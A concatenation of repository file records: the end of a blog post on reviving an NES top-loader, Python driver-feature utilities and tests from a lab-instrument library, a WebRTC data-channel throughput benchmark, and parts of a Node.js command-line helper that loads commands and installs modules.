1"></p><p>For testing, I brought out my trusty, janky, cheap Walmart multimeter for some continuity testing. I was able to snag a few diagrams from <a href="http://kevtris.org/nes/nestuff2.txt">here</a> which I have down below:</p><p><img src="/static/images/retro_posts/NES_Fix/Capture1.png" alt="MMC1 Diagram"><br><img src="/static/images/retro_posts/NES_Fix/Capture2.png" alt="Cartridge Connector Diagram"></p><p>I couldn’t find a diagram for the ROM chip, but I at least knew where the main 72 pins were going, specifically which ones were tied to the PRG ROM. The testing process wasn’t exactly scientific, I was mostly looking for any glaring issues, like multiple pins that didn’t have continuity with <em>any</em> of the main pins. No such problem however, at least as far as I could see.</p><p><img src="/static/images/retro_posts/NES_Fix/20180828_033435.jpg" alt="Test 2"></p><p>I tried once more, now with this bare-bones set up. I had a flashlight trained on the pins, making sure each and every one had good connection between system and cartridge. Even so, it still didn’t work. With the power still on, I fiddled with the cartridge a bit, when suddenly…</p><p><img src="/static/images/retro_posts/NES_Fix/20180828_033515.jpg" alt="Success??"></p><p>The game suddenly sprang to life. As it turns out, the cartridge just needed a good jostling. I tested with the other cart, the grey one. Insert, switch on, jostle a little, and it’d work, very repeatable. So the consistency of the solution was nice, but it makes me feel like my console is on its last legs.</p><p><img src="/static/images/retro_posts/NES_Fix/20180828_034959.jpg" alt="The Coming End of Poor Yobo"></p><p>Still, it’s good some of the games that have seemingly gone bad have been giving new life now that I’ve figured out it was a problem with the system. Still, what that problem could be remains a mystery. The hardware running the game is so tiny, under that black blob of rubber that it’d be nigh impossible to properly diagnose. It’s almost like a specific pin needs to be temporarily disconnected and reconnected after power on. hence the need for jostling. Maybe the security pins, though I’d imagine for a top loader (since there’s no lockout chip), security pins would just do nothing, going to ground.</p><p>Either way, I’m happy this is at least <em>partway</em> solved.</p><p>~Nicko</p><ul class="categorylist"><li><a href="/blog/categories/retro/">retro</a></li><li><a href="/blog/categories/hardware/">hardware</a></li></ul><section class="comments"></section></article></div><div class="col-md-4"><a href="https://github.com/NickRCasteen"><img src="/static/images/My_Git.png" alt="My Github!" style="width:350px;height:120px;border:0;"></a><h4>Recent Projects:</h4><ul id="github-repos"><li><a href="https://github.com/NickRCasteen/stockPortfolioApp" style="color:blue">Stock Portfolio App</a> [Completed!]</li><li><a href="https://github.com/NickRCasteen/Programming_Challenges" style="color:blue">Programming Challenges</a> [Ongoing!]</li><li><a href="https://github.com/NickRCasteen/NickRCasteen.github.io" style="color:blue">My Website</a> [In Progress!]</li><li><a href="https://github.com/NickRCasteen/C64_Machine_Learning" style="color:blue">C64 Machine Learning</a> [New!]</li></ul></div></div><div class="row"><div class="col-md-12"><ul class="pager"><li><a href="/blog/2018/09/06/trying-out-julia/">Trying Out Julia</a></li><li><a href="/blog/2018/08/24/machine-learning-on-a-commodore-64-(part-2)/">Machine Learning on a Commodore 64 (part 2)</a></li></ul></div></div></div><footer><div class="container footercontainer"><div class="col-md-12"><p class="copyright">Copyright &copy; <NAME> 2018.</p></div></div></footer><script type="text/javascript" src="/static/js/all.min.js"></script><script>(function(b,o,i,l,e,r){b.GoogleAnalyticsObject=l;b[l]||(b[l]= function(){(b[l].q=b[l].q||[]).push(arguments)});b[l].l=+new Date; e=o.createElement(i);r=o.getElementsByTagName(i)[0]; e.src='//www.google-analytics.com/analytics.js'; r.parentNode.insertBefore(e,r)}(window,document,'script','ga')); ga('create','UA-XXXXX-X');ga('send','pageview');</script></body></html>
e184494455ed3e97d2a06ffc4ce0b56a0ac79523
[ "JavaScript", "HTML" ]
3
JavaScript
NickRCasteen/NickRCasteen.github.io
64105855a6a285af80fdec99b320ef0d1e7c0add
bb44e204a680f2e5cd5c64a224a728ca3a1b7fa4
refs/heads/master
<file_sep># -*- coding: utf-8 -*- """ lantz_core.features.util ~~~~~~~~~~~~~~~~~~~~~~~~ Tools to customize feature and help in their writings. :copyright: 2015 by Lantz Authors, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import (division, unicode_literals, print_function, absolute_import) from types import MethodType from functools import update_wrapper from future.utils import exec_ def wrap_custom_feat_method(meth, feat): """ Wrap a HasFeature method to make it an driver method of a Feature. This is necessary so that users can define overriding method in a natural way in the HasFeatures subclass assuming that the driver object will be passed as first argument and the Feature object as second when in reality it will be the other way round due to python binding mechanism. Parameters ---------- meth : MethodType Method which should be used to alter the default behaviour of the Feature. feat : Feature Instance of Feature whose default behaviour should be overridden. Returns ------- wrapped : MethodType Method object which can be """ # Access the real function in case a method is passed. if isinstance(meth, MethodType): if meth.__self__ is feat: return meth wrapped = meth.__func__ else: wrapped = meth # Wrap if necessary the function to match the argument order. if not hasattr(meth, '_feat_wrapped_'): def wrapper(feat, driver, *args, **kwargs): return wrapped(driver, feat, *args, **kwargs) update_wrapper(wrapper, wrapped) wrapper._feat_wrapped_ = wrapped else: wrapper = wrapped return MethodType(wrapper, feat) # --- Methods composers ------------------------------------------------------- class MethodsComposer(object): """Function like object used to compose feature methods calls. All methods to call are kept in an ordered dict ensuring that they will be called in the right order while allowing fancy insertion based on method id. Notes ----- Method ids must be unique and duplicate names are removed without warning. """ __slots__ = ('_names', '_methods') def __init__(self): self._methods = [] self._names = [] def clone(self): new = type(self)() new._names = self._names[:] new._methods = self._methods[:] return new def prepend(self, name, method): """Prepend a method to existing ones. Parameters ---------- name : unicode Id of the method. Used to find it when performing more complex operations on the list of methods. method : MethodType Method bound to a feature which will be called when this object will be called. """ self._remove_duplicate(name) self._names.insert(0, name) self._methods.insert(0, method) def append(self, name, method): """Append a method to existing ones. Parameters ---------- name : unicode Id of the method. Used to find it when performing more complex operations on the list of methods. method : MethodType Method bound to a feature which will be called when this object will be called. """ self._remove_duplicate(name) self._names.append(name) self._methods.append(method) def add_after(self, anchor, name, method): """Add the given method after a given one. Parameters ---------- anchor : unicode Id of the method after which to insert the given one. name : unicode Id of the method. Used to find it when performing more complex operations on the list of methods. method : MethodType Method bound to a feature which will be called when this object will be called. """ self._remove_duplicate(name) i = self._names.index(anchor) self._names.insert(i+1, name) self._methods.insert(i+1, method) def add_before(self, anchor, name, method): """Add the given method before the specified one. Parameters ---------- anchor : unicode Id of the method before which to insert the given one. name : unicode Id of the method. Used to find it when performing more complex operations on the list of methods. method : MethodType Method bound to a feature which will be called when this object will be called. """ self._remove_duplicate(name) i = self._names.index(anchor) self._names.insert(i, name) self._methods.insert(i, method) def replace(self, name, method): """Replace an existing method by a new one. Only custom methods can be replaced. Methods whose presence is linked to the feature kwargs cannot be replaced. Parameters ---------- name : unicode Id of the method of the method to replace. method : MethodType Method bound to a feature which will be called when this object will be called. """ i = self._names.index(name) self._methods[i] = method def remove(self, name): """Remove a method. Parameters ---------- name : unicode Id of the method to remove. """ i = self._names.index(name) del self._names[i] del self._methods[i] def reset(self): """Empty the composer. """ self._names = [] self._methods = [] def __getitem__(self, key): return self._methods[self._names.index(key)] def __contains__(self, item): return item in self._names def _remove_duplicate(self, name): """Remove the name from the list to avoid having duplicate ids. """ if name in self._names: i = self._names.index(name) del self._names[i] del self._methods[i] class PreGetComposer(MethodsComposer): """Composer used for pre_get methods. """ __slots__ = () def __call__(self, driver): """Call mimicking a pre_get method and calling all assigned methods in order with the driver as only argument. """ for m in self._methods: m(driver) class PostGetComposer(MethodsComposer): """Composer for post_get methods. """ __slots__ = () def __call__(self, driver, value): """Call mimicking a post_get method and calling all assigned methods in order. The value returned by each method is passed to the next one. """ for m in self._methods: value = m(driver, value) return value class PreSetComposer(MethodsComposer): """Composer for pre_set methods. """ __slots__ = () def __call__(self, driver, value): """Call mimicking a pre_set method and calling all assigned methods in order. The value returned by each method is passed to the next one. """ for m in self._methods: value = m(driver, value) return value class PostSetComposer(MethodsComposer): """Composer for post_set methods. """ __slots__ = () def __call__(self, driver, value, d_value, response): """Call mimicking a post_set method and calling all assigned methods in order. """ for m in self._methods: value = m(driver, value, d_value, response) COMPOSERS = {'pre_get': PreGetComposer, 'post_get': PostGetComposer, 'pre_set': PreSetComposer, 'post_set': PostSetComposer} # --- Customisation decorators ------------------------------------------------ def append(id_str='custom'): """Mark a function to be appended to a MethodsComposer. """ def decorator(function): function._composing = (id_str, 'append') return function return decorator def prepend(id_str='custom'): """Mark a function to be prepended to a MethodsComposer. """ def decorator(function): function._composing = (id_str, 'prepend') return function return decorator def add_after(name, id_str='custom'): """Mark a function to be added after another in a MethodsComposer. """ def decorator(function): function._composing = (id_str, 'add_after', name) return function return decorator def add_before(name, id_str='custom'): """Mark a function to be added before another in a MethodsComposer. """ def decorator(function): function._composing = (id_str, 'add_before', name) return function return decorator def replace(id_str): """Mark a function to replace another in a MethodsComposer. """ def decorator(function): function._composing = (id_str, 'replace') return function return decorator # --- Getter/setter factories ------------------------------------------------- class AbstractGetSetFactory(object): """Abstract class for get/set factories. Use by Feature to identify such a factory and use it to replace the get/set method. """ def build_getter(self): """Build the function for getting the Feature value. This method is called when a get/set factory is passed as the getter argument to a Feature. """ raise NotImplementedError() def build_setter(self): """Build the function for setting the Feature value. This method is called when a get/set factory is passed as the setter argument to a Feature. """ raise NotImplementedError() class constant(AbstractGetSetFactory): """Make a Feature return always the same value. This can only be used as a getter factory. Parameters ---------- value : The value the Feature should return """ def __init__(self, value): super(constant, self).__init__() self._value = value def build_getter(self): """Build a trivial function to return the constant value. """ value = self._value def getter(self, driver): return value return getter GET_DEF =\ """def get(self, driver): val = {} return {} """ SET_DEF =\ """def set(self, driver, value): cmd = {} return driver.default_set_feature(self, cmd, value) """ class conditional(AbstractGetSetFactory): """Make a Feature modify getting/setting based on the driver state. Parameters ---------- conditional_value : unicode String of the form 'a if driver.b else c'. When setting the value is accessible as value. default : bool Pass the result of the conditional evalutation to the default_get/set_feature method of the driver if True, otherwise directly return the result. When building a setter this MUST be true. """ def __init__(self, conditional_value, default=False): super(conditional, self).__init__() self._cond = conditional_value self._default = default def build_getter(self): """Build the getter. """ if not self._default: get_def = GET_DEF.format(self._cond, 'val') else: get_def = GET_DEF.format(self._cond, 'driver.default_get_feature(self, val)') loc = {} exec_(get_def, globals(), loc) return loc['get'] def build_setter(self): """Build the setter. """ if not self._default: raise ValueError('Can build a setter only if default is True') loc = {} exec_(SET_DEF.format(self._cond), globals(), loc) return loc['set'] <file_sep># -*- coding: utf-8 -*- """ tests.features.test_alias ~~~~~~~~~~~~~~~~~~~~~~~~~ Tests for the tools to customize feature and help in their writings. :copyright: 2015 by Lantz Authors, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import (division, unicode_literals, print_function, absolute_import) import pytest from lantz_core.has_features import subsystem from lantz_core.features import Bool from lantz_core.features.alias import Alias from ..testing_tools import DummyParent @pytest.fixture def tester(): class AliasTester(DummyParent): state = Bool(True, True, mapping={True: True, False: False}) _state = False r_alias = Alias('state') sub = subsystem() with sub as s: s.rw_alias = Alias('.state', True) def _get_state(self, feat): return self._state def _set_state(self, feat, value): self._state = value return AliasTester() def test_alias_on_same_level(tester): assert tester.r_alias is False tester.state = True assert tester.r_alias is True with pytest.raises(AttributeError): tester.r_alias = False def test_alias_on_parent(tester): assert tester.sub.rw_alias is False tester.state = True assert tester.sub.rw_alias is True tester.sub.rw_alias = False assert tester.state is False <file_sep># -*- coding: utf-8 -*- """ tests.test_unit ~~~~~~~~~~~~~~~ Module dedicated to testing the unit utility functions. :copyright: 2015 by Lantz Authors, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import (division, unicode_literals, print_function, absolute_import) from pytest import raises, yield_fixture, mark from lantz_core import unit from lantz_core.unit import (set_unit_registry, get_unit_registry, to_float, to_quantity) try: from pint import UnitRegistry except ImportError: pass @yield_fixture def teardown(): unit.UNIT_REGISTRY = None yield unit.UNIT_REGISTRY = None @mark.skipif(unit.UNIT_SUPPORT is False, reason="Requires Pint") def test_set_unit_registry(teardown): ureg = UnitRegistry() set_unit_registry(ureg) assert get_unit_registry() is ureg @mark.skipif(unit.UNIT_SUPPORT is False, reason="Requires Pint") def test_reset_unit_registry(teardown): ureg = UnitRegistry() set_unit_registry(ureg) with raises(ValueError): set_unit_registry(ureg) def test_converters(teardown): """Test to_quantity and to_float utility functions. """ val = 1.0 assert to_float(val) == val assert to_float(to_quantity(val, 'A')) == val <file_sep># -*- coding: utf-8 -*- """ lantz_core.features.alias ~~~~~~~~~~~~~~~~~~~~~~~~~ Feature whose value is mapped to another Feature. :copyright: 2015 by Lantz Authors, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import (division, unicode_literals, print_function, absolute_import) from types import MethodType from future.utils import exec_ from .feature import Feature, get_chain, set_chain GET_DEF =\ """def get(self, driver): return {} """ SET_DEF =\ """def set(self, driver, value): {} = value """ class Alias(Feature): """Feature whose value is mapped to another Feature. """ def __init__(self, alias, settable=None): super(Alias, self).__init__(True, settable) accessor = 'driver.' + '.'.join([p if p else 'parent' for p in alias.split('.')]) defs = GET_DEF.format(accessor) if settable: defs += '\n' + SET_DEF.format(accessor) loc = {} exec_(defs, globals(), loc) self.get = MethodType(loc['get'], self) if settable: self.set = MethodType(loc['set'], self) def post_set(self, driver, value, i_value, response): """Re-implemented here as an Alias does not need to do anaything by default. """ pass # ========================================================================= # --- Private API --------------------------------------------------------- # ========================================================================= def _get(self, driver): """Re-implemented so that Alias never use the cache. """ with driver.lock: return get_chain(self, driver) def _set(self, driver, value): """Re-implemented so that Alias never uses the cache. """ with driver.lock: set_chain(self, driver, value)
80a285bdb277d635811e994a4d4af2602d986319
[ "Python" ]
4
Python
MatthieuDartiailh/lantz_core
60ff9cbb3bd1ac6fc2853db41cbf32a1991e48c3
4275ac1239da292647c25716ce687137f3de50c8
refs/heads/master
<repo_name>FruitieX/webrtc-api-throughput-benchmark<file_sep>/server.js var IO_PORT = 1337; var HTTP_PORT = 1338; var io = require('socket.io')(IO_PORT); io.sockets.on('connection', function(socket) { socket.on('message', function(message) { console.log('broadcasting ' + message); socket.broadcast.send(message); }); }); // static HTTP server var static = require('node-static'); var file = new static.Server('./static'); require('http').createServer(function(req, res) { req.addListener('end', function () { file.serve(req, res); }).resume(); }).listen(HTTP_PORT); <file_sep>/README.md webrtc-api-benchmark ==================== WebRTC API benchmarking web application Setup ----- * $ npm update * $ node server.js * Open two browsers to http://hostname:1338 * Press the start button on either browser <file_sep>/static/peerconnection.js /* * Copyright (c) 2014 Aalto University * Copyright (c) 2014 <NAME> * Licensed under the MIT License, see LICENSE for more information. */ // from http://www.w3.org/TR/webrtc/#peer-to-peer-data-example with minor tweaks var signalingChannel = new io('http://192.168.1.51:1337'); var configuration = { "iceServers": [ { url: 'stun:stun.l.google.com:19302' } ] }; var pc; // call start(true) to initiate function start(isInitiator) { //console.log('sending chunks of size: ' + chunkSize); pc = new RTCPeerConnection(configuration); // send any ice candidates to the other peer pc.onicecandidate = function (evt) { if (evt.candidate) signalingChannel.send(JSON.stringify({ "candidate": evt.candidate })); }; // let the "negotiationneeded" event trigger offer generation //pc.onnegotiationneeded = function () { // pc.createOffer(localDescCreated, logError); //} if (isInitiator) { var dcOpts = { ordered: false, maxRetransmits: 0 }; // setup data channel //var channel = pc.createDataChannel("benchmark", dcOpts); var channel = pc.createDataChannel("benchmark"); setupChannel(channel, isInitiator); pc.createOffer(localDescCreated, logError); } else { // setup chat on incoming data channel pc.ondatachannel = function (evt) { var channel = evt.channel; setupChannel(channel, isInitiator); }; } } function localDescCreated(desc) { pc.setLocalDescription(desc, function () { signalingChannel.send(JSON.stringify({ "sdp": pc.localDescription })); }, logError); } signalingChannel.on('message', function (evt) { if (!pc) start(false); var message = JSON.parse(evt); if (message.sdp) pc.setRemoteDescription(new RTCSessionDescription(message.sdp), function () { // if we received an offer, we need to answer if (pc.remoteDescription.type == "offer") pc.createAnswer(localDescCreated, logError); }, logError); else pc.addIceCandidate(new RTCIceCandidate(message.candidate)); }); var dcOpenTime; var MByte = 1024 * 1024; // NOTE: chrome/firefox seem to split the message into smaller chunks for high // chunkSize values // with chromium on the sending side, setting chunkSize too high causes the // data channel to be closed immediately var chunkSize = 1024 * 2; var chunk = new Uint8Array(chunkSize); // fill with random data for (var i = 0; i < chunk.length; i++) { chunk[i] = Math.round(Math.random() * 256); } var recvdChunks = 0; var recvdBytes = 0; var printStats = _.throttle(function() { if(new Date().getTime() - dcOpenTime != 0) { $("#results").text("throughput (MB/s): " + Math.round(100 * (recvdChunks * recvdBytes / MByte / ((new Date().getTime() - dcOpenTime) / 1000))) / 100); } }, 1000); function setupChannel(channel, isInitiator) { console.log('setupChannel()'); channel.onopen = function () { console.log('dc onopen'); // e.g. enable send button if(isInitiator) { dcOpenTime = new Date().getTime(); throughputBenchmark(channel); } else { dcOpenTime = new Date().getTime(); // comment this line for simplex test //throughputBenchmark(channel); } }; channel.onmessage = function (evt) { recvdChunks++; recvdBytes = evt.data.byteLength || evt.data.size; if(recvdBytes < chunkSize) { console.log("didn't get entire chunk at once! got: " + recvdBytes + '/' + chunkSize); } printStats(); }; } var printBuffer = _.throttle(function() { console.log("waiting for buffer to go under: " + maxBuffer); }, 1000); var maxBuffer = 1000000; var sentChunks = 0; var sendTimer; function throughputBenchmark(channel) { //clearInterval(sendTimer); sendTimer = setInterval(function() { if(channel.bufferedAmount >= maxBuffer) { printBuffer(); } else { while (channel.bufferedAmount < maxBuffer) { channel.send(chunk); } } }, 0); } function logError(error) { console.log(error.name + ": " + error.message); } $(window).on('beforeunload', function() { signalingChannel.disconnect(); }); $(document).ready(function() { $("#startButton").click(function() { start(true); }); });
8ba68ebedd4d433ea520569e80c816366e416907
[ "JavaScript", "Markdown" ]
3
JavaScript
FruitieX/webrtc-api-throughput-benchmark
4bcc664b39e3ddf69bb6d57ce63c3e985d74a57b
a0dd84e471cdc0f44fb2650e9d5b70f388d07ace
refs/heads/master
<file_sep>// // ButtonBorder.swift // SwooshApp // // Created by <NAME> on 2017/08/14. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit class ButtonBorder: UIButton { override func awakeFromNib() { super.awakeFromNib() layer.borderWidth = 2.0 layer.borderColor = UIColor.white.cgColor } }
ee956ac22289d056fa44eb0f9f2285f20d53062a
[ "Swift" ]
1
Swift
JustinSeymour/SwooshApp
171bf4904738f34dab26a456e57b2cfc1ba650ae
6ce6d0d5057c2d632a852513033dd77724ba718e
refs/heads/master
<repo_name>joaquinfq/jfCli<file_sep>/src/Spawn.js const chalk = require('chalk'); const spawn = require('child_process').spawn; /** * Gestiona un proceso en segundo plano. * * @namespace jf.cli * @class jf.cli.Spawn * @package jfCli */ module.exports = class Spawn { /** * Constructor de la clase. * * @param {jf.cli.Cli} cli Manejador del script. */ constructor(cli) { /** * Manejador del script. * * @type {jf.cli.Cli} */ this.cli = cli; /** * Indica si el proceso ha finalizado con error. * * @type {Boolean} */ this.isRejected = false; /** * Proceso que se está ejecutando. * * @type {null|ChildProcess} */ this.process = null; } _close() { const _process = this.process; if (_process) { _process.removeAllListeners(); if (_process.stdout) { _process.stdout.removeAllListeners(); } if (_process.stderr) { _process.stderr.removeAllListeners(); } this.process = null; } } /** * Muestra por pantalla la información provisa por el proceso. * * @param {String} level Nivel de la información. * @param {Buffer} data Datos recibidos. * * @protected */ _log(level, data) { `${data}`.trim() .split(/[\r\n]+/) .forEach( line => { line = line.trim(); if (line) { this.cli.log(level, '%s', chalk[level === 'error' ? 'red' : 'yellow'](line)); } } ) } /** * Callback ejecutado cuando ha ocurrido un error. * * @param {Function} reject Función para rechazar la promesa. * @param {Error} error Error ocurrido. * * @protected */ _onError(reject, error) { if (!this.isRejected) { this.isRejected = true; this._close(); reject(error) } } /** * Callback ejecutado cuando ha terminado el proceso. * * @param {Function} resolve Función para resolver la promesa. * @param {Function} reject Función para rechazar la promesa. * @param {Number} code Código devuelto por el proceso. * * @protected */ _onExit(resolve, reject, code) { if (!this.isRejected) { this._close(); if (code === 0) { resolve() } else { this.isRejected = true; reject(new Error(`Error: ${code}`)) } } } /** * Ejecuta un script de manera asíncrona. * * @param {String} cmd Nombre o ruta del script. * @param {String|String[]?} args Argumentos del script. * @param {Object?} options Opciones de ejecución del script. * @param {Function} logger Función que recogerá las líneas impresar por pantalla. * * @return {Promise} */ async run(cmd, args = [], options = {}, logger = null) { if (!Array.isArray(args)) { args = [args]; } return new Promise( (resolve, reject) => { const _options = Object.assign( { cwd : process.cwd(), stdio : 'pipe', shell : false }, options ); const _process = this.process = spawn(cmd, args, _options); if (_options.stdio === 'pipe') { if (typeof logger !== 'function') { logger = this._log.bind(this); } _process.stdout.on('data', data => logger('info', data)); _process.stderr.on('data', data => logger('error', data)); } _process.on('error', error => this._onError(reject, error)); _process.on('exit', code => this._onExit(resolve, reject, code)); } ); } }; <file_sep>/src/tools/parse-commands.js /** * Analiza los comandos y convierte a texto las opciones. * * @param {Object} commands Comandos a analizar. * @param {String} prefix Prefijo del comando. */ module.exports = function parseCommands(commands, prefix = '') { const _names = Object.keys(commands); if (_names.length) { for (const _name of _names) { const _options = commands[_name]; for (const _option of Object.keys(_options)) { _options[_option] = _option ? _options[_option].toString().substr(2) : _options[_option]; } if (prefix) { delete commands[_name]; commands[prefix + _name] = _options; } } } }; <file_sep>/README.md # jf-cli [![stable](http://badges.github.io/stability-badges/dist/stable.svg)](http://github.com/badges/stability-badges) [![npm install jf-cli](https://nodei.co/npm/jf-cli.png?compact=true)](https://npmjs.org/package/jf-cli/) Facilitates the execution of scripts from the command line with log and file system utilities. <file_sep>/src/Option.js const isObject = require('./utils/is-object'); const iterate = require('./utils/iterate'); /** * Representa una opción de un comando. * * @namespace jf.cli * @class jf.cli.Option * @package jfCli */ module.exports = class jfCliOption { /** * Constructor de la clase. * * @param {Object|String} config Configuración a usar para inicializar la instancia. */ constructor(config) { /** * Nombre largo de la opción. * * @type {String} */ this.alias = ''; /** * Valor por defecto de la opción. * * @type {null|String|Number} */ this.default = null; /** * Descripción de la opción. * * @type {String} */ this.description = ''; /** * Nombre corto de la opción. * Consta de una letra. * * @type {String} */ this.name = ''; /** * Indica si la opción es obligatoria. * * @type {Boolean} */ this.required = false; /** * Tipo de dato esperado en la opción. * * @type {String} */ this.type = 'boolean'; // if (config) { if (isObject(config)) { iterate( config, (name, value) => { if (this[name] !== undefined) { this[name] = value; } } ) } else if (typeof config === 'string') { this.parseString(config); } } } /** * Analiza una opción especificada como texto. * Las propiedades deben estar separadas por una barra vertical `|`. * * El orden de las propiedades es: * * - La descripción * - El alias o nombre largo de la opción. * - El tipo de datos esperado (`string` por defecto). * - El valor por defecto. Si no se especifica se configura la opción como requerida. * * Ejemplo: * * ``` * options.parseOption(options, 'c|Eliminar directorio antes de empezar'); * options.parseOption(options, 'n|Nombre del elemento a crear|name|string'); * ``` * @param {String} config Configuración de la opción a analizar. * * @return {Boolean} */ parseString(config) { let [_name, _desc, _alias, _type, _default] = config.split('|'); if (_alias && _name.length > _alias.length) { let _tmp = _name; _name = _alias; _alias = _tmp; } if (_name.length > 1) { throw new Error(`La opción corta debe usar un solo carácter: ${_name} -- ${config}.`); } this.name = _name; if (_alias && _alias !== _name) { this.alias = _alias; } if (_desc) { this.description = _desc; } if (_type) { this.type = _type; } if (_default === undefined) { if (this.type === 'boolean') { this.default = false; } else { this.required = true; } } else { this.default = _default; } } /** * @override */ toString() { const _segments = [ this.name, this.description, this.alias ]; if (this.type !== 'boolean') { _segments.push(this.type); if (this.default !== null) { _segments.push(this.default); } } return _segments.join('|'); } }; <file_sep>/index.js const jfCli = require('./src/Cli'); const yargs = require('yargs'); const cli = new jfCli(__dirname); cli.configure(yargs, 'yargs'); yargs .demandCommand(1, 'Se debe especificar al menos un commando.') .recommendCommands() .help() .wrap(yargs.terminalWidth()) .parse(); <file_sep>/src/utils/iterate.js const isObject = require('./is-object'); /** * Itera sobre el objeto llamando al callback especificado para cada elemento del objeto. * El primer parámetro pasado es la clave y el segundo es el valor. * * @param {Object} object Objeto sobre el que se iterará. * @param {Function} cb Función a ejecutar para cada elemento del objeto. * * @return {Boolean} */ module.exports = function iterate(object, cb) { return isObject(object) ? Object.keys(object).sort().every(option => cb(option, object[option])) : false; }; <file_sep>/src/commands/install.js const cmdConfig = require('./config'); const isObject = require('../utils/is-object'); const path = require('path'); const SEP = '~'; /** * Instala módulos a partir de rutas o URLs. * * @command * * @param {jf.cli.Cli} cli Gestor del script. * @param {Object} argv Argumentos de la línea de comandos. * * @return {Promise} */ module.exports = async function install(cli, argv) { if (isObject(argv) && Array.isArray(argv._)) { const _cmds = argv._; if (Array.isArray(_cmds) && _cmds[0] === 'install') { const _directories = Object.values(cli.directories); for (const _module of _cmds.slice(1)) { const [_type, ..._parts] = _module.split(SEP); const _path = _parts.join(SEP); switch (_type) { case 'file': _directories.push(path.resolve(_path)); break; case 'git': case 'hg': const _name = path.basename(_path, `.${_type}`); const _outdir = path.resolve(cli.rootDir, '..'); const _moddir = path.join(_outdir, _name); if (cli.exists(_moddir)) { throw new Error(`El módulo ${_name} ya existe. Se debe eliminar el directorio o usar file~${_moddir}`); } else { cli.log('debug', 'Instalando módulo %s en %s', _name, _outdir); await cli.script( _type, ['clone', _path], { cwd : _outdir } ); if (cli.exists(_moddir)) { _directories.push(_moddir); if (cli.exists(path.join(_moddir, 'package.json'))) { await cli.script( 'npm', ['install'], { cwd : _moddir, shell : true } ); } } } break; default: if (path.isAbsolute(_module) || _module[0] === '.') { _directories.push(path.resolve(_module)); } else { throw new Error('Formato desconocido del módulo: ' + _module); } break; } } cli.log('debug', 'Actualizando configuración'); cmdConfig( cli, { directories : _directories } ); } } }; <file_sep>/src/commands/config.js const cc2sep = require('cc2sep'); const fromFiles = require('../tools/from-files'); const parseCommands = require('../tools/parse-commands'); const path = require('path'); /** * Carga los comandos desde el directorio especificado y construye la configuración. * * @param {jf.cli.Cli} cli Gestor del script. * @param {String} prefix Prefijo del comando. * @param {String} directory Directorio donde se buscarán los comandos. * @param {Object} config Configuración leída del archivo `.jfcli`. * * @return {Boolean} `true` si se encontraron comandos. */ function build(cli, prefix, directory, config) { let _found = false; const _directory = path.join(directory, 'src', 'commands'); if (cli.exists(_directory)) { const _commands = {}; fromFiles(cli, _commands, cli.scandir(_directory)); if (Object.keys(_commands).length) { parseCommands(_commands, prefix); if (!config.commands) { config.commands = {}; } Object.assign(config.commands, _commands); _found = true; } else { cli.log('error', 'El directorio %s no tiene comandos', _directory); } } else { cli.log('error', 'El directorio %s no existe', _directory); } return _found; } /** * Convierte un listado de directorios a un objeto donde la clave es * el nombre del módulo y el valor la ruta completa del directorio. * * @param {String[]} directories Listado de directorios. * * @return {Object} */ function toObject(directories) { const _result = {}; directories.forEach( dir => _result[cc2sep.trimmed(path.basename(dir)).replace(/(^|.+-)cli-?/, '') || 'cli'] = dir ); return _result; } /** * Genera el archivo de configuración. * * @command * * @option d Directorios con proyectos|directories|string| * * @param {jf.cli.Cli} cli Gestor del script. * @param {Object} argv Argumentos de la línea de comandos. */ module.exports = function config(cli, argv) { let _directories = argv.directories; if (typeof _directories === 'string') { _directories = [_directories || process.cwd()]; } if (Array.isArray(_directories)) { _directories = toObject(_directories); } else if (_directories && typeof _directories === 'object') { _directories = toObject(Object.values(_directories)); } _directories = Object.assign({}, cli.directories, _directories); try { const _config = { commands : {}, directories : _directories }; //------------------------------------------------------------------------------ // Agregamos los comandos provistos por jfCli //------------------------------------------------------------------------------ fromFiles(cli, _config.commands, cli.scandir(__dirname)); parseCommands(_config.commands); //------------------------------------------------------------------------------ // Agregamos los comandos encontrados en los directorios especificados. // Si un directorio o un comando ya no se encuentra, se elimina del resultado. //------------------------------------------------------------------------------ const _oldDirectories = _config.directories; const _rootDir = cli.rootDir; for (const _prefix of Object.keys(_directories).sort()) { const _dir = path.resolve(_rootDir, _directories[_prefix]); if (cli.exists(_dir)) { if (build(cli, _prefix + ':', _dir, _config)) { _oldDirectories[_prefix] = path.relative(_rootDir, _dir) || '.'; } else { delete _oldDirectories[_prefix]; } } else { delete _oldDirectories[_prefix]; cli.log('error', 'No se encontró el directorio %s', _dir); } } cli.save(_config); } catch (e) { cli.log('error', e.message); } }; <file_sep>/src/utils/is-object.js /** * Verifica si el valor especificado es un objeto. * * @param {*} value Valor a verificar. * * @return {Boolean} */ module.exports = function isObject(value) { return value && typeof value === 'object' && !Array.isArray(value); }; <file_sep>/test/tools/from-files.js const assert = require('assert'); const Cli = require('../../src/Cli'); const testFile = require(__filename.replace('/test/', '/src/')); //------------------------------------------------------------------------------ // Pruebas con diferentes maneras de crear una función. //------------------------------------------------------------------------------ /** * Descripción f1 * * @command */ function f1(){} /** * Descripción f2 * * @command */ const f2 = function (){}; /** * Descripción f3 * * @command */ const f3 = function f2(){}; /** * Descripción f4 * * @command f4named */ const f4 = () => null; /** * Descripción export * * @command export */ exports = () => null; /** * Descripción from-files * * @command */ function fromFiles(){} /** * Descripción test * * @command * * @option b Opción de tipo boolean|boolean * @option n Opción de tipo number|number|number * @option s Opción de tipo string|string|string */ module.exports = function test(){}; //------------------------------------------------------------------------------ // Inicio de las pruebas //------------------------------------------------------------------------------ const commands = {}; testFile(new Cli(), commands, [__filename]); //console.log(JSON.stringify(commands, null, 4)); assert.deepStrictEqual( commands, { 'from-files' : { '?' : 'Descripción from-files' }, 'from-files:f1' : { '?' : 'Descripción f1' }, 'from-files:f2' : { '?' : 'Descripción f2' }, 'from-files:f3' : { '?' : 'Descripción f3' }, 'from-files:f4named' : { '?' : 'Descripción f4' }, 'from-files:export' : { '?' : 'Descripción export' }, 'from-files:test' : { '?' : 'Descripción test', 'b' : 'Opción de tipo boolean|boolean', 'n' : 'Opción de tipo number|number|number', 's' : 'Opción de tipo string|string|string' } } ); <file_sep>/src/builder/yargs.js const iterate = require('../utils/iterate'); /** * Convierte el comando al formato esperado por `Yargs`. * * @param {Command} command Comando a convertir. * @param {Function?} handler Manejador opcional del comando. * * 